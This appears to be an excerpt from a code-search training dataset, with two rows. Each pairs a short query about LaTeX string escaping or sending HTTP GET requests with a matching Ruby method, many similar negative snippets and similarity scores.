query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
sequencelengths
0
101
negative_scores
sequencelengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
Escapes the string for inclusion in LaTeX files
def texescape(input) input.gsub("#", "\\#") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def escape_latex string\n string.to_s.gsub(/[$\\\\{}_%#&~^\"]/) do |s|\n case s\n when '$'\n '\\$'\n when '\\\\'\n '\\synbs{}'\n when /[{}_%#&]/\n \"\\\\#{s}\"\n when /[~^]/\n \"\\\\#{s}{}\"\n when '\"'\n '\"{}'\n end\n end\n end", "def latex_escape(s)\n quote_count = 0\n s.to_s.\n gsub(/([{}_$&%#])/, \"__LATEX_HELPER_TEMPORARY_BACKSLASH_PLACEHOLDER__\\\\1\").\n gsub(/\\\\/, BACKSLASH).\n gsub(/__LATEX_HELPER_TEMPORARY_BACKSLASH_PLACEHOLDER__/, BS).\n gsub(/\\^/, HAT).\n gsub(/~/, TILDE).\n gsub(/\"/) do\n quote_count += 1\n quote_count.odd? ? %{\"`} : %{\"'}\n end\n end", "def latex_escape(source)\n source.chars.inject('') do |s, b|\n s << if b == '\\\\'\n '~'\n elsif SAFE_CHARS.include? b\n b\n else\n \"\\\\char%d\" % b[0].ord\n end\n end\n end", "def escape(string); end", "def escape(str); end", "def escape_latex(text)\n text.to_s.gsub(/\\$/, '\\\\\\$').\n gsub(/\\\\([^\\$])/, '$\\\\backslash$\\1').\n gsub(/\\\\$/, '$\\\\backslash$').\n gsub(/&/, '\\\\\\&').\n gsub(/\\{/, '\\\\{').\n gsub(/\\}/, '\\\\}').\n gsub(/_/, '\\\\_').\n gsub(/\"/, '\"{}').\n gsub(/%/, '\\\\%').\n gsub(/\\x80/, '\\\\EUR').\n gsub(/\\x96/, '---')\n end", "def escape_latex_text(txt)\n return txt unless txt.is_a?(String)\n r = txt.dup\n # Replace all backslashes with latex macro.\n r.gsub!(/\\\\/, \"\\\\textbackslash\")\n r.gsub!(/(\\\\textbackslash)?&/, '\\\\\\&') # ampersand requires special escaping\n %w[% $ # _ { }].each { |char|\n r.gsub!(/(\\\\textbackslash)?#{ Regexp.escape(char) }/, \"\\\\#{ char }\")\n }\n r.gsub!('~', \"\\\\textasciitilde\")\n r.gsub!('^', \"\\\\textasciicircum\")\n r\n end", "def escape(str)\n $stderr.print \"FE: \", str if $DEBUG_RDOC\n s = str.\n sub(/\\s+$/, '').\n gsub(/([_\\${}&%#])/, \"#{BS}\\\\1\").\n gsub(/\\\\/, BACKSLASH).\n gsub(/\\^/, HAT).\n gsub(/~/, TILDE).\n gsub(/</, LESSTHAN).\n gsub(/>/, GREATERTHAN).\n gsub(/,,/, \",{},\").\n gsub(/\\`/, BACKQUOTE)\n $stderr.print \"-> \", s, \"\\n\" if $DEBUG_RDOC\n s\n end", "def escape(text)\n return text.gsub(/[\\`*_{}\\[\\]()#+\\-.!]/, \"\\\\\\\\\\\\0\")\n end", "def escape(string)\n #This is a stub, used for indexing\n end", "def htex(str)\n return str unless str.kind_of? String\n # All special characters will have four backslashes prepended\n # Two of them are used to escape the other two, thus \\\\\\\\# will give \\\\# in the next step\n # In the next step one is used to escape the other, leaving \\# for the last step (which is the .tex one)\n str.blank? ? '' : str.gsub(/\\&/, '\\\\\\\\&').gsub(/%/, '\\\\\\\\%').gsub(/\\$/, '\\\\\\\\$').gsub(/\\#/, '\\\\\\\\#').gsub(/\\n/, '\\\\\\\\\\\\\\\\')\n end", "def escape(string)\n string.gsub('\\\\', '\\\\\\\\').\n gsub(\"\\b\", '\\\\b').\n gsub(\"\\f\", '\\\\f').\n gsub(\"\\t\", '\\\\t').\n gsub(\"\\n\", '\\\\n').\n gsub(\"\\r\", '\\\\r').\n gsub('\"', '\\\\\"')\n end", "def escape_text(text)\n text\n end", "def tex_escape(text)\n replacements = {\n '&' => '\\&',\n '%' => '\\%',\n '$' => '\\$',\n '#' => '\\#',\n '_' => '\\_',\n '{' => '\\{',\n '}' => '\\}',\n '~' => '\\textasciitilde{}',\n '^' => '\\^{}',\n '\\\\' => '\\textbackslash{}',\n '<' => '\\textless',\n '>' => '\\textgreater',\n }\n\n replacements.each do |search, escaped_replacement|\n text = text.gsub(search, escaped_replacement)\n end\n\n text\n end", "def escape_literal(text)\n text\n end", "def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end", "def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end", "def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end", "def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end", "def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end", "def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end", "def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end", "def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end", "def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end", "def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end", "def escape(string)\r\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\r\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\r\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] } if string\n end", "def escape(str)\n str.gsub(/\\t/, '\\t').gsub(/\\n/, '\\n').gsub(/\\\\/, \"\\\\\\\\\\\\\")\n end", "def likeEscape( str )\n str.gsub( \"\\\\\", \"\\\\\\\\\" ).gsub( \"%\", \"\\%\" ).gsub( \"_\", \"\\_\" )\n end", "def escape(text)\n text.gsub('\"', '\\\"')\nend", "def escape(string)\n # Globally replace characters based on the ESCAPE_CHARACTERS constant\n string.to_s.gsub(/[&\"><]/) { |special| ESCAPE_CHARACTERS[special] }\n end", "def escape(string)\n return '' if string.nil?\n return string unless string.to_s =~ /[\\\\\\$`\" \\(\\)\\{\\}\\[\\]]/\n '\"' + string.to_s.gsub(/[\\\\\\$`\"]/) { |match| '\\\\' + match } + '\"'\n end", "def escape(line)\n s = line.sub(/\\s+$/, '').\n gsub(/\\\\/, \"\\\\bs\\?C-q\").\n gsub(/([_\\${}&%#])/, '\\\\\\\\\\1').\n gsub(/\\?C-q/, \"{}\").\n gsub(/\\^/, \"\\\\up{}\").\n gsub(/~/, \"\\\\sd{}\").\n gsub(/\\*/, \"$*$\").\n gsub(/<</, \"<{}<\").\n gsub(/>>/, \">{}>\").\n gsub(/\\[\\]/, \"$[\\\\,]$\").\n gsub(/,,/, \",{},\").\n gsub(/`/, \"\\\\bq{}\")\n s\nend", "def escape(input); input.to_s.gsub('\"', '\\\\\"'); end", "def escape(str)\n ERB::Util.h(str).gsub('&quot;', '\"').gsub('&#39;', \"'\")\n end", "def escape_string (string)\n string.gsub(/([\\x00-\\x1f\\x21-\\x2f\\x3a-\\x40\\x5b-\\x5e\\x60\\x7b-\\x7f])/, '\\\\\\\\\\\\1')\n end", "def escape_string(str)\n str.gsub(\"'\", \"''\")\n end", "def quote_and_escape(text, quote = '\"')\n \"#{quote}#{text.gsub(/#{quote}/) { |m| \"#{m}\\\\#{m}#{m}\" }}#{quote}\"\n end", "def escape_hack(string)\n string.gsub('\\\\', '\\\\\\\\\\\\')\n end", "def escape_str(str)\n str.gsub!(/[`\\\\]/, '\\\\\\\\\\&')\n str.gsub!(/\\r\\n/, \"\\\\r\\r\\n\") if @newline == \"\\r\\n\"\n return str\n end", "def escape_string(string)\n string.to_s.gsub(/([\\\\()|\\-!@~\"&\\/\\^\\$=])/, '\\\\\\\\\\\\1')\n end", "def escape(str)\n str.to_s.gsub(/[^*\\-.0-9A-Z_a-z]/) { |c| TBLENCWWWCOMP_[c] }\n end", "def escape(str)\n str.to_s.gsub(/\\\\/, '\\&\\&').gsub(/'/, \"''\").force_encoding('US-ASCII')\n end", "def extra_escape(string)\n string.gsub('\\\\', '\\\\\\\\\\\\').\n gsub(\"\\\\'\", '\\\\\\\\' + \"'\").\n gsub('\\\\\\\\\\\\', '\\\\\\\\\\\\')\n end", "def _quoteString ( str )\n str.gsub( /\\\\/, '\\&\\&' ).gsub( /'/, \"''\" ) # ' (for ruby-mode)\n end", "def escape(s)\n s.gsub('\"', '\\\"')\nend", "def escape(str)\n CGI.escape(str)\n end", "def escape(string)\n if backend.unsafe? || @unsafe\n Shellwords.escape(string)\n else\n string\n end\n end", "def erb_escape(text)\n # Do not only replace '<%' ! or <r:t>min</r:t>% ==> <% ...\n text.gsub(SECURE_REGEXP) {|code| SAFE_CODE[code]}\n end", "def escape_text input\n escape input, text_regexp, text_mapping\n end", "def escape_str(str)\n str.gsub!(/[\\\\`\\#]/, '\\\\\\\\\\&')\n str.gsub!(/\\r\\n/, \"\\\\r\\r\\n\") if @newline == \"\\r\\n\"\n return str\n end", "def escape(str)\n str.to_s.gsub(/[%\\s]/) { |m| format(\"%%%<code>02X\", code: m.ord) }\n end", "def escape(string)\n raise NotImplementedError, \"#{self.class}#escape\"\n end", "def escape(string)\n if string.present?\n string.gsub(/\\\"/, \"\\\\\\\"\").gsub(/\\'/, '\\\\\\\\\\'')\n else\n nil\n end\n end", "def lex_en_interp_backslash_delimited; end", "def lex_en_interp_backslash_delimited; end", "def lex_en_interp_backslash_delimited; end", "def esc_ht str\n\t\treturn Escape.html str\n\tend", "def cgi_escape(input); end", "def esc(inString)\n #2015-04-04 BN: gsub stumbles on apostrophes so I created a unique treatment for them\n # from http://stackoverflow.com/questions/8929218/how-to-replace-an-apostrophe-using-gsub\n inString = inString.gsub(/[']/, \"\\\\\\\\\\'\")\n\n #For each of the characters in the list of characters to be escaped\n $eChars.each do |thisChar|\n #Replace every instance of thisChar with thisChar appended to an\n #escape character. We have to escape the escape to use it\n inString = inString.gsub(thisChar, \"\\\\\"+thisChar)\n end\n return inString\nend", "def e(str)\n str.to_s.gsub(/(?=[^a-zA-Z0-9_.\\/\\-\\x7F-\\xFF\\n])/n, '\\\\').\n gsub(/\\n/, \"'\\n'\").\n sub(/^$/, \"''\")\n end", "def escape_quotes(text)\n text.gsub(\"'\", \"''\")\n end", "def escape(stream = '')\n return stream if absent?(stream)\n\n stream.gsub(/\\e/, '\\\\e')\n end", "def escape_shell_string(str)\n str = str.gsub(/\\\\/, \"\\\\\\\\\\\\\")\n str = str.gsub(/\"/, \"\\\\\\\"\")\n str = str.gsub(/`/, \"\\\\`\")\n str = str.gsub(/;/, \"\\\\;\")\n str = str.gsub(/&/, \"\\\\&\")\n str = str.gsub(/\\|/, \"\\\\|\")\n str = str.gsub(/\\$/, \"\\\\$\")\n str = str.gsub(/ /, \"\\\\ \")\n str\n end", "def tex_quote\n to_s.tex_quote\n end", "def html_escape(text)\n text.to_s.gsub(/[\\\"><&]/) { |s| HTML_ESCAPE[s] }\n end", "def escape_characters(string)\n ['&','-','?','|','!',\"'\",'+'].each do |syn_char|\n string = string.gsub(syn_char,'\\\\\\\\' + \"#{syn_char}\")\n end\n return string\n end", "def escape(text)\n replacements.inject(text.to_s) do |corpus, (pattern, replacement)|\n corpus.gsub(pattern, replacement)\n end\n end", "def escape_for_double_quotes(str)\n str.gsub(/[\\\\\"`$]/) { |c| \"\\\\#{c}\" }\nend", "def quote_string(string)\n string.gsub(/\\\\/, '\\&\\&').gsub(/'/, \"''\") \n end", "def escape(s)\n s.gsub(/[&<>`]/, \"&\" => \"&amp;\", \"<\" => \"&lt;\", \">\" => \"&gt;\", \"`\" => \"`\")\n end", "def escape_for_single_quotes(str)\n str.gsub \"'\", \"''\"\n end" ]
[ "0.80147415", "0.756782", "0.7525451", "0.7431314", "0.7379028", "0.73329026", "0.72416204", "0.72095263", "0.71341795", "0.7066923", "0.7051678", "0.70347625", "0.7000537", "0.6954449", "0.688744", "0.68768126", "0.68768126", "0.68768126", "0.68768126", "0.68768126", "0.68768126", "0.68768126", "0.68768126", "0.68768126", "0.68768126", "0.68768126", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6853037", "0.6821908", "0.6815765", "0.67850107", "0.6760581", "0.67399895", "0.6722179", "0.6720474", "0.6628492", "0.6600444", "0.65983707", "0.6540025", "0.6511726", "0.650942", "0.6505858", "0.6504449", "0.6449418", "0.6442311", "0.6436334", "0.64338315", "0.6429558", "0.6425952", "0.6425222", "0.64246005", "0.6399471", "0.6397861", "0.6397339", "0.63970935", "0.6378764", "0.6378764", "0.6378764", "0.6366044", "0.6358199", "0.63539386", "0.6346041", "0.63119805", "0.63071066", "0.6304402", "0.62730724", "0.62717456", "0.6271231", "0.6267437", "0.62660235", "0.6263642", "0.6262685", "0.6260409" ]
0.68207836
56
Send a get request to the specified path.
def get(path) req = Net::HTTP::Get.new(@base_url + path) response = handle_request(req) response.each {|k,v| puts "#{k}: #{v}"} response end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get(path)\n request 'GET', path\n end", "def get(path)\n request(:get, path, {})\n end", "def get(path, options={})\n send_request 'get', path, options\n end", "def get(path, params={})\n request(:get, path, params)\n end", "def get(path, params={})\n request(:get, path, params)\n end", "def get(path, params={})\n request(:get, path, params)\n end", "def get(path, params={})\n request(:get, path, params)\n end", "def get(path, params={})\n request(:get, path, params)\n end", "def get(path, params={})\n request(:get, path, params)\n end", "def get(path, params={})\n request(:get, path, params)\n end", "def get(path, params={})\n request(:get, path, params)\n end", "def get(path, params={})\n request(:get, path, params)\n end", "def get(path, params={})\n request(:get, path, params)\n end", "def get(path, params={})\n request(:get, path, params)\n end", "def get(path, params={})\n request(:get, params.merge(:path => path))\n end", "def perform_get(path, options = {})\n perform_request(:get, path, options)\n end", "def get(path, params = {})\n request(:get, path, params)\n end", "def get(path, params = {})\n request(:get, path, params)\n end", "def get(path, params = {})\n request(:get, path, params)\n end", "def get(path, params = {})\n request(:get, path, params)\n end", "def get(path, options = {})\n request(:get, path, options)\n end", "def get(path, options = {})\n request(:get, path, options)\n end", "def get(path, data=nil)\n request(:get, path, data)\n end", "def get path = \"\", payload = {}\n make_request(path, \"get\", payload)\n end", "def get(path, options = {})\n request(:get, path, options)\n end", "def get(path, options = {})\n request(:get, path, options)\n end", "def get(path, data={})\n request(:get, path, data)\n end", "def get(path:, params: {})\n request(method: :get, path: path, params: params)\n end", "def get(path, params = {}, request_options = {})\n request(:get, path, params)\n end", "def get(path, params = {})\n\t\trequest(path, :get, params)\n\tend", "def get(path, params = {})\n execute :get, path, params\n end", "def get(path, options = {}, raw = false)\n request(:get, path, options, raw)\n end", "def get path, header={}, body_string_or_hash=\"\"\n env.http 'GET', path, header, body_string_or_hash\n end", "def get(path, options = {})\n request = Net::HTTP::Get.new(request_uri(path))\n make_request(request, options.merge(no_callbacks: true))\n end", "def get(path)\n with_monitoring do\n connection.get(path)\n end\n end", "def get(path, headers = {})\n process :get, path, headers\n end", "def get(path, **options)\n execute :get, path, options\n end", "def get(path, params = {})\n @connection.get(path, params)\n end", "def get(path)\n command(\"get #{escape(path)}\")\n end", "def get(*args)\n prepare_request(:get, args)\n @@client.add(:get, @path, *args)\n end", "def get(path, data = {})\n # Allow format override\n format = data.delete(:format) || @format\n # Add parameters to URL query string\n get_params = {\n :method => \"get\", \n :verbose => DEBUG\n }\n get_params[:params] = data unless data.empty?\n # Create GET request\n get = Typhoeus::Request.new(\"#{protocol}#{@server}#{path}\", get_params)\n # Send request\n do_request(get, format, :cache => true)\n end", "def get(path, options = {}, &block)\n execute('GET', path, options, nil, &block)\n end", "def get(path, query={})\n request.get(path, query_options(query))\n end", "def get(path, query_params={}, opts={})\n request(:get, path, query_params, opts)\n end", "def get(path)\n connection.get do |req|\n req.url path\n end.body\n end", "def get_request(path, params={}, options={})\n request(:get, path, params, options)\n end", "def get(path, parameters = {})\n request(:get, path, parameters)\n end", "def get(path, params = {}, headers = {})\n request(:get, path, params, headers).body\n end", "def get(path, query = {})\n make_call(mk_conn(path), :get, nil, query)\n end", "def get(path, params, connection = CONNECTION)\n request = Net::HTTP::Get.new(to_url(path, params))\n process_request(request, connection)\nend", "def get(path, params={})\n RestClient.get request_base+path, {params: params}\n end", "def get(path, opts = {}, &block)\n request(:get, path, opts, &block)\n end", "def get(path, opts = {}, &block)\n request(:get, path, opts, &block)\n end", "def get(path)\n RequestStub.build :method => :get, :path => path\n end", "def get(path, params)\n parse_response @client[path].get(:params => params)\n end", "def get(path, options = {})\n connection.get(path, options)\n end", "def get(path, **args); end", "def get(path, options={})\n http_verb :get, path, options\n end", "def get(path, params = {})\n debug_log \"GET #{connection.build_url(\"#{@host}#{path}\", params)}\"\n res = connection.get path, params\n debug_log \"Response status:#{res.status}, body:#{res.body}\"\n res\n end", "def get(path, arguments = {})\n perform_request { connection.get(path, arguments).body }\n end", "def get(path, options = {})\n request(:get, parse_query_and_convenience_headers(path, options))\n end", "def get(path = '/files/', params = {})\n request :get, path, params\n end", "def get(path, params = {})\n Chirpy.request params.merge({:path => path, :method => 'get'}.merge(authentication))\n end", "def get(path: nil, headers: {}, query: {}, auth_method: nil)\n execute(method: :get, path: path, query: query, headers: headers, auth_method: auth_method)\n end", "def get(path, params={}, options={})\n request(:get, api_path(path), params, options)\n end", "def get(path, params: {}, headers: nil)\n response = conn.get do |req|\n build_request(req, path: path, params: params, headers: headers)\n end\n response\n rescue StandardError => e\n puts e.inspect\n raise\n end", "def get(path, payload = nil)\n req = Net::HTTP::Get.new(path)\n action(req, payload)\n end", "def get(path='/')\n `curl -sf http://localhost:3234#{path}`\n end", "def get(path, data={})\n http_verb :get, path, data\n end", "def api_get(path, params = {})\n api_request(:get, path, :params => params)\n end", "def get(path)\n request = Net::HTTP::Get.new @uri.path+'/'+path\n request.basic_auth @api_key, ''\n request['User-Agent'] = USER_AGENT\n response = @https.request request\n JSON.parse response.body\n end", "def get(path, options={}, &block)\n uri = URI.join(@endpoint, path)\n headers = options.delete(:headers)\n query = options.delete(:query)\n\n if query\n uri.query = URI.encode_www_form(query)\n end\n\n request = Net::HTTP::Get.new uri.request_uri, headers\n @http.request request, &block\n end", "def get(path, query={})\n request_json :get, path, query\n end", "def get path\n uri = BASE_URI.dup.tap do |uri|\n uri.path = path\n end\n\n @http.get uri, headers: REQUEST_HEADERS\n end", "def send_get(uri)\n _send_request('GET', uri, nil)\n end", "def request(path, params={})\n request_url = \"#{API_URL}#{path}\"\n perform_get_request(request_url, params)\n end", "def get(path, options = {}, &block); add :get, path, options, &block end", "def get(headers = {}, path = '', parameters = {})\n full_path = [path, URI.encode_www_form(parameters)].join(PARAM_STARTER)\n uri = URI.parse(\"#{@url}#{full_path}\")\n request = Net::HTTP::Get.new(uri.request_uri)\n request.body = nil\n send_request(uri, request, headers)\n end", "def get(path = nil)\n url = URI.parse(@url.scheme + '://' + @url.host + ':' + @url.port.to_s + path.to_s)\n headers = { \"Authorization\" => \"Basic \" + [@user + \":\" + @password].pack(\"m\") } if @user\n \n server = Net::HTTP.new(@url.host, @url.port)\n server.read_timeout = @timeout\n server.use_ssl = url.scheme == 'https'\n server.verify_mode = OpenSSL::SSL::VERIFY_NONE\n \n res, data = server.get(url.request_uri, headers)\n \n case res\n when Net::HTTPSuccess\n # OK\n else\n raise res.inspect\n end\n [res, data]\n end", "def get(path, query = { }, headers = { })\n clear_response\n path = process_path(path, query)\n @success_code = 200\n @response = http.get(path, headers)\n parse_response? ? parsed_response : response.body\n end", "def get(path)\n agent.get(path).body\n end", "def http_get(path, headers = { })\n clear_response\n path = process_path(path)\n @success_code = 200\n @response = http.get(path, headers)\n parse_response? ? parsed_response : response.body\n end", "def get(path, request_options = {}, resource_options = {})\n response(:get, resource(resource_options)[path], request_options)\n end", "def get(path, busca=nil)\n @client.get(path, busca)\n end", "def get(path)\n # TODO: do more hardening on the path\n if path.include?('covid19')\n request = Net::HTTP::Get.new(path, @headers)\n else\n request = Net::HTTP::Get.new('/v2' + path, @headers)\n end\n send_request(request)\n end", "def get(path, params={})\n params[:apikey] = self.api_key\n RestClient::Request.execute(\n :method => :get,\n :url => \"#{self.uri}#{path}\",\n :headers => {\n :params => params\n },\n :verify_ssl=> @ssl_verify )\n end", "def http_get(path)\n http_methods(path, :get)\n end", "def request_get(path)\n\ttimestamp = Time.now.utc.iso8601\n\tauth = create_hmac_auth(\"GET\", path, timestamp)\n\t\n\turi = URI($baseUrl + path)\n\n\trequest = Net::HTTP::Get.new(uri)\n\trequest.add_field(\"x-hp-hmac-authentication\", auth)\n\trequest.add_field(\"x-hp-hmac-date\", timestamp)\n\n\tresponse = Net::HTTP.start(uri.host, uri.port,\n\t\t:use_ssl => uri.scheme == 'https',\n\t\t:verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|\n\t\thttp.request(request)\n\tend\n\n\treturn response\nend", "def get(path, headers = {})\n request = Net::HTTP::Get.new(path)\n @default_headers.merge(headers).each do |key, value|\n request[key] = value\n end\n @http.request(request)\n end", "def get(path, params={}) # :nodoc:\n handle_response(@session.get(path, params))\n end", "def get\n execute_request('GET') do |uri, headers|\n HTTP.http_client.get(\n uri,\n follow_redirect: true,\n header: headers\n )\n end\n end", "def get(path, params = {}, env = {}, &block)\n env[:request_method] = \"GET\"\n mock_request(path, params, env, &block)\n end", "def get\n start { |connection| connection.request http :Get }\n end", "def get(path, options = nil)\n add(path, options).get\n end", "def get\n url = prefix + \"get\"\n return response(url)\n end", "def get\n url = prefix + \"get\"\n return response(url)\n end", "def get(path, data={})\n RestClient.get(full_url(path), {params: data})\n rescue RestClient::Exception => error\n message = \"REST client exception caught processing GET request.\"\n log.error \"#{message}\\nCause: #{error}\\n\" +\n error.backtrace.join(\"\\n\")\n raise CAHTTPError.new(message, error, response: error.response, url: full_url(path))\n end", "def get(path, options = {})\n uri = build_uri(path, options)\n\n request = Net::HTTP::Get.new(uri.request_uri)\n set_authorisation_header(request)\n\n response = https_client(uri).request(request)\n end", "def get(path, timestamp=nil, options={}, authenticate=true)\n path = \"#{path}?#{URI.encode_www_form(options)}\" if !options.empty?\n http_request :get, path, timestamp, options, authenticate\n end", "def get(path, &block)\n route 'GET', path, &block\n end" ]
[ "0.89210117", "0.8714577", "0.85441655", "0.8219973", "0.8219973", "0.8219973", "0.8219973", "0.8219973", "0.8219973", "0.8219973", "0.8219973", "0.8219973", "0.8219973", "0.821809", "0.8212274", "0.8183756", "0.8177972", "0.8177972", "0.8161371", "0.8161371", "0.80467427", "0.80467427", "0.8039813", "0.8037538", "0.8029331", "0.8029331", "0.80159044", "0.7976964", "0.79724294", "0.79378957", "0.7877786", "0.787676", "0.7874771", "0.787102", "0.78643167", "0.7859126", "0.7828517", "0.7827882", "0.7825692", "0.782461", "0.7819797", "0.78182584", "0.77674484", "0.7760353", "0.7745086", "0.77055484", "0.76863855", "0.7647641", "0.7645697", "0.7640591", "0.76312774", "0.76258713", "0.76258713", "0.7609685", "0.7600387", "0.7596616", "0.75878614", "0.7581414", "0.75624", "0.75555724", "0.7533304", "0.7533091", "0.75324774", "0.75263894", "0.7514548", "0.7494237", "0.7482963", "0.7462694", "0.7449567", "0.7447525", "0.74347746", "0.74208283", "0.7396799", "0.7380797", "0.7352006", "0.73502636", "0.7341106", "0.7337087", "0.73250544", "0.7309397", "0.7308805", "0.7284389", "0.7267731", "0.7262717", "0.72546047", "0.7253884", "0.7249989", "0.72353864", "0.7234172", "0.7229918", "0.71972376", "0.7190915", "0.7184915", "0.71794814", "0.7146267", "0.7146267", "0.7137172", "0.71364224", "0.71153444", "0.71062994" ]
0.81155074
20
